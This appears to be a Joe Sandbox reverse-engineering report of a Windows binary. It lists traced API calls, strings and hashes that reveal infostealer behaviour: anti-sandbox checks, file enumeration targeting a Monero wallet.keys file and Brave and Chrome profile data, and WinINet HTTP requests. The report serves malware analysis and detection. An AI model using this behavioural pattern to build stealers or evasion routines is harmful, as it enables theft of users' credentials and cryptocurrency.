Part of subcall function 008778E0: GetProcessHeap.KERNEL32(00000000,00000104), ref: 00877910
Part of subcall function 008778E0: RtlAllocateHeap.NTDLL(00000000), ref: 00877917
Part of subcall function 008778E0: GetComputerNameA.KERNEL32(?,00000104), ref: 0087792F

Part of subcall function 0087A9B0: lstrlen.KERNEL32(?,011695A8,?,\Monero\wallet.keys,00880E17), ref: 0087A9C5
Part of subcall function 0087A9B0: lstrcpy.KERNEL32(00000000), ref: 0087AA04
Part of subcall function 0087A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0087AA12

Part of subcall function 0087A8A0: lstrcpy.KERNEL32(?,00880E17), ref: 0087A905

OpenEventA.KERNEL32(001F0003,00000000,00000000,00000000,?,011694E8,?,0088110C,?,00000000,?,00881110,?,00000000,00880AEF), ref: 00876ACA
CreateEventA.KERNEL32(00000000,00000000,00000000,00000000), ref: 00876AE8
CloseHandle.KERNEL32(00000000), ref: 00876AF9
Sleep.KERNEL32(00001770), ref: 00876B04
CloseHandle.KERNEL32(?,00000000,?,011694E8,?,0088110C,?,00000000,?,00881110,?,00000000,00880AEF), ref: 00876B1A
ExitProcess.KERNEL32 ref: 00876B22

Memory Dump Source

Source File: 00000000.00000002.2091077451.0000000000861000.00000040.00000001.01000000.00000003.sdmp, Offset: 00860000, based on PE: true

Associated: 00000000.00000002.2091063671.0000000000860000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091077451.0000000000911000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091077451.000000000091D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091077451.0000000000942000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091077451.0000000000AAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000ABE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000C48000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000D21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000D41000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000D4B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000D59000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091449535.0000000000D5A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091549519.0000000000EF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091562892.0000000000EF3000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_860000_file.jbxd

Yara matches

Similarity

API ID: AddressProc$Process$Exit$Heap$lstrcpy$AllocateCloseEventHandleNameUser__aulldiv$AllocComputerCreateCurrentDefaultGlobalInfoLangMemoryNumaOpenSleepStatusSystemVirtuallstrcatlstrlen
String ID:
API String ID: 2525456742-0
Opcode ID: 23bdd3a3787ba017bd2151963e9c7a1fe521bbba4362868d8a6d95770fcfb282
Instruction ID: f234d9f61eddc4438df1038df43f24cf153462beb52802c16a8b1b8b1879e236
Opcode Fuzzy Hash: 23bdd3a3787ba017bd2151963e9c7a1fe521bbba4362868d8a6d95770fcfb282
Instruction Fuzzy Hash: 993120709002095ADB08F7F4DC56BEEB778FF55340F108524F226E2196EF709905C6A3

Function 00861220 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 41
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GlobalMemoryStatusEx.KERNEL32(00000040,?,00000000,00000040), ref: 0086123E
__aulldiv.LIBCMT ref: 00861258
__aulldiv.LIBCMT ref: 00861266
ExitProcess.KERNEL32 ref: 00861294

Strings

@, xrefs: 00861233

Memory Dump Source

Source File: 00000000.00000002.2091077451.0000000000861000.00000040.00000001.01000000.00000003.sdmp, Offset: 00860000, based on PE: true

Associated: 00000000.00000002.2091063671.0000000000860000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091077451.0000000000911000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091077451.000000000091D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091077451.0000000000942000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091077451.0000000000AAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000ABE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000C48000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000D21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000D41000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000D4B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000D59000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091449535.0000000000D5A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091549519.0000000000EF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091562892.0000000000EF3000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_860000_file.jbxd

Yara matches

Similarity

API ID: __aulldiv$ExitGlobalMemoryProcessStatus
String ID: @
API String ID: 3404098578-2766056989
Opcode ID: ffa6505da8649d391e77923fc21b9e7f875cc4cb9c0d9c8f62c07156d207ac82
Instruction ID: b29d3c974897efd884f29ace93f5759afc4bc74184379b0381dd787be9a3865b
Opcode Fuzzy Hash: ffa6505da8649d391e77923fc21b9e7f875cc4cb9c0d9c8f62c07156d207ac82
Instruction Fuzzy Hash: 89014BB0D40308AAEF10DBE4CC49BAEBBB8FB14705F248458E705FA2C1D7749545879A

Function 00876AF3 Relevance: 6.0, APIs: 4, Instructions: 30
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

OpenEventA.KERNEL32(001F0003,00000000,00000000,00000000,?,011694E8,?,0088110C,?,00000000,?,00881110,?,00000000,00880AEF), ref: 00876ACA
CreateEventA.KERNEL32(00000000,00000000,00000000,00000000), ref: 00876AE8
CloseHandle.KERNEL32(00000000), ref: 00876AF9
Sleep.KERNEL32(00001770), ref: 00876B04
CloseHandle.KERNEL32(?,00000000,?,011694E8,?,0088110C,?,00000000,?,00881110,?,00000000,00880AEF), ref: 00876B1A
ExitProcess.KERNEL32 ref: 00876B22

Memory Dump Source

Source File: 00000000.00000002.2091077451.0000000000861000.00000040.00000001.01000000.00000003.sdmp, Offset: 00860000, based on PE: true

Associated: 00000000.00000002.2091063671.0000000000860000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091077451.0000000000911000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091077451.000000000091D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091077451.0000000000942000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091077451.0000000000AAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000ABE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000C48000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000D21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000D41000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000D4B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000D59000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091449535.0000000000D5A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091549519.0000000000EF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091562892.0000000000EF3000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_860000_file.jbxd

Yara matches

Similarity

API ID: CloseEventHandle$CreateExitOpenProcessSleep
String ID:
API String ID: 941982115-0
Opcode ID: e74bb41909cc6272bc76503ef68dba0bf28b32fb6d07a6c94f337058f3f71e9c
Instruction ID: 1cb2a8bc2fda49916c0c39a934d3da915ba64a873385dd3b7f09998bbbf9f3bd
Opcode Fuzzy Hash: e74bb41909cc6272bc76503ef68dba0bf28b32fb6d07a6c94f337058f3f71e9c
Instruction Fuzzy Hash: D6F03A3094461AABE700EBA09C06BBEBA74FB15705F10C514B51AE11C9EBB09541DA67

Function 008647B0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 63
stringnetworkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 00864839
InternetCrackUrlA.WININET(00000000,00000000), ref: 00864849

Strings

<, xrefs: 008647C9

Memory Dump Source

Source File: 00000000.00000002.2091077451.0000000000861000.00000040.00000001.01000000.00000003.sdmp, Offset: 00860000, based on PE: true

Associated: 00000000.00000002.2091063671.0000000000860000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091077451.0000000000911000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091077451.000000000091D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091077451.0000000000942000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091077451.0000000000AAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000ABE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000C48000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000D21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000D41000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000D4B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000D59000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091449535.0000000000D5A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091549519.0000000000EF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091562892.0000000000EF3000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_860000_file.jbxd

Yara matches

Similarity

API ID: CrackInternetlstrlen
String ID: <
API String ID: 1274457161-4251816714
Opcode ID: 9921ed388d63006035e0fbde341daad4bb494eb4e665a3db02e4d887ad270c01
Instruction ID: 8fb385d09340b670f63eca6772191fb577b7437a26e841d0b7bd07cd1372c46b
Opcode Fuzzy Hash: 9921ed388d63006035e0fbde341daad4bb494eb4e665a3db02e4d887ad270c01
Instruction Fuzzy Hash: 222142B1D00209ABDF14DFA5EC45ADE7774FB45310F108625F525A72D1DB70660ACF92

Function 008751F0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 50
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0087A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0087A7E6

Part of subcall function 00866280: InternetOpenA.WININET(00880DFE,00000001,00000000,00000000,00000000), ref: 008662E1
Part of subcall function 00866280: StrCmpCA.SHLWAPI(?,0116ED88), ref: 00866303
Part of subcall function 00866280: InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00866335
Part of subcall function 00866280: HttpOpenRequestA.WININET(00000000,GET,?,0116E750,00000000,00000000,00400100,00000000), ref: 00866385
Part of subcall function 00866280: InternetSetOptionA.WININET(00000000,0000001F,?,00000004), ref: 008663BF
Part of subcall function 00866280: HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 008663D1

StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00875228

Strings

ERROR, xrefs: 00875273
ERROR, xrefs: 0087521A

Memory Dump Source

Source File: 00000000.00000002.2091077451.0000000000861000.00000040.00000001.01000000.00000003.sdmp, Offset: 00860000, based on PE: true

Associated: 00000000.00000002.2091063671.0000000000860000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091077451.0000000000911000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091077451.000000000091D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091077451.0000000000942000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091077451.0000000000AAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000ABE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000C48000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000D21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000D41000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000D4B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000D59000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091449535.0000000000D5A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091549519.0000000000EF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091562892.0000000000EF3000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_860000_file.jbxd

Yara matches

Similarity

API ID: Internet$HttpOpenRequest$ConnectOptionSendlstrcpy
String ID: ERROR$ERROR
API String ID: 3287882509-2579291623
Opcode ID: 2932815453cc85a64824f94d5974d170785930eac6f408f6edc1f94c375ebadb
Instruction ID: bed737a98d5971dde9f0a65c72d6bfbe8df37283a726b52badeb8b8583a69cc4
Opcode Fuzzy Hash: 2932815453cc85a64824f94d5974d170785930eac6f408f6edc1f94c375ebadb
Instruction Fuzzy Hash: 3711CE30910548A6CB18FB68DD969ED7378FF90344F408164A81EDA596EF74AB06C793

Function 00861110 Relevance: 4.5, APIs: 3, Instructions: 21memoryCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(00000000,000007D0,00003000,00000040,00000000), ref: 0086112B
VirtualAllocExNuma.KERNEL32(00000000), ref: 00861132
ExitProcess.KERNEL32 ref: 00861143

Memory Dump Source

Source File: 00000000.00000002.2091077451.0000000000861000.00000040.00000001.01000000.00000003.sdmp, Offset: 00860000, based on PE: true

Associated: 00000000.00000002.2091063671.0000000000860000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091077451.0000000000911000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091077451.000000000091D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091077451.0000000000942000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091077451.0000000000AAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000ABE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000C48000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000D21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000D41000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000D4B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000D59000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091449535.0000000000D5A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091549519.0000000000EF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091562892.0000000000EF3000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_860000_file.jbxd

Yara matches

Similarity

API ID: Process$AllocCurrentExitNumaVirtual
String ID:
API String ID: 1103761159-0
Opcode ID: a20a433e476b11908636d5a68b9e73b5236566ef2001dd982650c2a9ddec1329
Instruction ID: 56924f615ba341a4dca5a107b64e1f028d128316d6470b8b3a919207cd0dc055
Opcode Fuzzy Hash: a20a433e476b11908636d5a68b9e73b5236566ef2001dd982650c2a9ddec1329
Instruction Fuzzy Hash: FFE08670945308FFEB50ABE09C0EB0D76F8EB05B01F100044F708F61C1C7B42A01D69A

Function 008610A0 Relevance: 2.5, APIs: 2, Instructions: 41memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,17C841C0,00003000,00000004), ref: 008610B3
VirtualFree.KERNEL32(00000000,17C841C0,00008000,00000000,05E69EC0), ref: 008610F7

Memory Dump Source

Source File: 00000000.00000002.2091077451.0000000000861000.00000040.00000001.01000000.00000003.sdmp, Offset: 00860000, based on PE: true

Associated: 00000000.00000002.2091063671.0000000000860000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091077451.0000000000911000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091077451.000000000091D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091077451.0000000000942000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091077451.0000000000AAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000ABE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000C48000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000D21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000D41000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000D4B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000D59000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091449535.0000000000D5A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091549519.0000000000EF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091562892.0000000000EF3000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_860000_file.jbxd

Yara matches

Similarity

API ID: Virtual$AllocFree
String ID:
API String ID: 2087232378-0
Opcode ID: abf0fa31c1a7866010918f16ec6827b97e66a8fb968df91eb34e6b9537d9afbb
Instruction ID: ea054f9bfb8a593270d1712ac84a215ca205784cda767264311a617960c5f093
Opcode Fuzzy Hash: abf0fa31c1a7866010918f16ec6827b97e66a8fb968df91eb34e6b9537d9afbb
Instruction Fuzzy Hash: 64F0E271681208BBEB14DAA8AC4DFBBB7E8E705B15F300448FA04E3280D6719E00CAA1

Function 00861190 Relevance: 1.5, APIs: 1, Instructions: 22COMMON

Download Yara Rule

APIs

Part of subcall function 008778E0: GetProcessHeap.KERNEL32(00000000,00000104), ref: 00877910
Part of subcall function 008778E0: RtlAllocateHeap.NTDLL(00000000), ref: 00877917
Part of subcall function 008778E0: GetComputerNameA.KERNEL32(?,00000104), ref: 0087792F

Part of subcall function 00877850: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,008611B7), ref: 00877880
Part of subcall function 00877850: RtlAllocateHeap.NTDLL(00000000), ref: 00877887
Part of subcall function 00877850: GetUserNameA.ADVAPI32(00000104,00000104), ref: 0087789F

ExitProcess.KERNEL32 ref: 008611C6

Memory Dump Source

Source File: 00000000.00000002.2091077451.0000000000861000.00000040.00000001.01000000.00000003.sdmp, Offset: 00860000, based on PE: true

Associated: 00000000.00000002.2091063671.0000000000860000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091077451.0000000000911000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091077451.000000000091D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091077451.0000000000942000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091077451.0000000000AAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000ABE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000C48000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000D21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000D41000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000D4B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000D59000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091449535.0000000000D5A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091549519.0000000000EF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091562892.0000000000EF3000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_860000_file.jbxd

Yara matches

Similarity

API ID: Heap$Process$AllocateName$ComputerExitUser
String ID:
API String ID: 3550813701-0
Opcode ID: c6feab838b2be0cf50104a6b71f40499304580e6de524476dd312959086516cb
Instruction ID: a4cb7d724cfcb59f1aa41cdb959bd715170606d963b91854d9660baddef03f27
Opcode Fuzzy Hash: c6feab838b2be0cf50104a6b71f40499304580e6de524476dd312959086516cb
Instruction Fuzzy Hash: 7CE0ECA595430253CA00B7F8AC0EB2A32DCFB26345F084434FA0DD2556FB29E801C56F

Non-executed Functions

Function 008738B0 Relevance: 45.8, APIs: 21, Strings: 5, Instructions: 250filestringCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 008738CC
FindFirstFileA.KERNEL32(?,?), ref: 008738E3
lstrcat.KERNEL32(?,?), ref: 00873935
StrCmpCA.SHLWAPI(?,00880F70), ref: 00873947
StrCmpCA.SHLWAPI(?,00880F74), ref: 0087395D
FindNextFileA.KERNEL32(000000FF,?), ref: 00873C67
FindClose.KERNEL32(000000FF), ref: 00873C7C

Strings

%s%s, xrefs: 00873AAD
%s\%s, xrefs: 00873A6F
%s\*, xrefs: 008738C0
%s\%s\%s, xrefs: 00873A4A
%s\%s, xrefs: 0087397A

Memory Dump Source

Source File: 00000000.00000002.2091077451.0000000000861000.00000040.00000001.01000000.00000003.sdmp, Offset: 00860000, based on PE: true

Associated: 00000000.00000002.2091063671.0000000000860000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091077451.0000000000911000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091077451.000000000091D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091077451.0000000000942000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091077451.0000000000AAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000ABE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000C48000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000D21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000D41000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000D4B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000D59000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091449535.0000000000D5A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091549519.0000000000EF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091562892.0000000000EF3000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_860000_file.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextlstrcatwsprintf
String ID: %s%s$%s\%s$%s\%s$%s\%s\%s$%s\*
API String ID: 1125553467-2524465048
Opcode ID: 2217a83993ea4f3d5b16aae91cee8af22b463fa0e11cdddc633dc24d0ed717eb
Instruction ID: 92a9734e189a86a1abcc42420d8d1339b32079bf3e04695cf9ebdaa69aab28ed
Opcode Fuzzy Hash: 2217a83993ea4f3d5b16aae91cee8af22b463fa0e11cdddc633dc24d0ed717eb
Instruction Fuzzy Hash: A9A172B19002199BDB64DFA4CC85FEE73B8FB99300F048588A60DD6185EB759B85CF63

Function 0086BE70 Relevance: 37.4, APIs: 17, Strings: 4, Instructions: 675fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0087A740: lstrcpy.KERNEL32(00880E17,00000000), ref: 0087A788

Part of subcall function 0087A920: lstrcpy.KERNEL32(00000000,?), ref: 0087A972
Part of subcall function 0087A920: lstrcat.KERNEL32(00000000), ref: 0087A982

Part of subcall function 0087A9B0: lstrlen.KERNEL32(?,011695A8,?,\Monero\wallet.keys,00880E17), ref: 0087A9C5
Part of subcall function 0087A9B0: lstrcpy.KERNEL32(00000000), ref: 0087AA04
Part of subcall function 0087A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0087AA12

Part of subcall function 0087A8A0: lstrcpy.KERNEL32(?,00880E17), ref: 0087A905

FindFirstFileA.KERNEL32(00000000,?,00880B32,00880B2B,00000000,?,?,?,008813F4,00880B2A), ref: 0086BEF5
StrCmpCA.SHLWAPI(?,008813F8), ref: 0086BF4D
StrCmpCA.SHLWAPI(?,008813FC), ref: 0086BF63
FindNextFileA.KERNEL32(000000FF,?), ref: 0086C7BF
FindClose.KERNEL32(000000FF), ref: 0086C7D1

Strings

Brave, xrefs: 0086C102
Google Chrome, xrefs: 0086C634
Preferences, xrefs: 0086C11E
\Brave\Preferences, xrefs: 0086C1DB

Memory Dump Source

Source File: 00000000.00000002.2091077451.0000000000861000.00000040.00000001.01000000.00000003.sdmp, Offset: 00860000, based on PE: true

Associated: 00000000.00000002.2091063671.0000000000860000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091077451.0000000000911000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091077451.000000000091D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091077451.0000000000942000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091077451.0000000000AAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000ABE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000C48000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000D21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000D41000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000D4B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000D59000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091449535.0000000000D5A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091549519.0000000000EF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091562892.0000000000EF3000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_860000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID: Brave$Google Chrome$Preferences$\Brave\Preferences
API String ID: 3334442632-726946144
Opcode ID: 95f1a7d2c4afa878a60b83d37782357bbdc29796881ccde273d3c0979e2e1243
Instruction ID: 4e63c564993a660b4d17d9c3c59a40df0b7bb7355954794852e00dd10a2fd320
Opcode Fuzzy Hash: 95f1a7d2c4afa878a60b83d37782357bbdc29796881ccde273d3c0979e2e1243
Instruction Fuzzy Hash: C44220729101049BCB18FBB8DD96EEE737DFB94300F408568B91AD6185EF349A49CB93

Function 00874910 Relevance: 36.9, APIs: 18, Strings: 3, Instructions: 172fileCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 0087492C
FindFirstFileA.KERNEL32(?,?), ref: 00874943
StrCmpCA.SHLWAPI(?,00880FDC), ref: 00874971
StrCmpCA.SHLWAPI(?,00880FE0), ref: 00874987
FindNextFileA.KERNEL32(000000FF,?), ref: 00874B7D
FindClose.KERNEL32(000000FF), ref: 00874B92

Strings

%s\*, xrefs: 00874920
%s\%s, xrefs: 008749A4
%s\%s, xrefs: 008749FB

Memory Dump Source

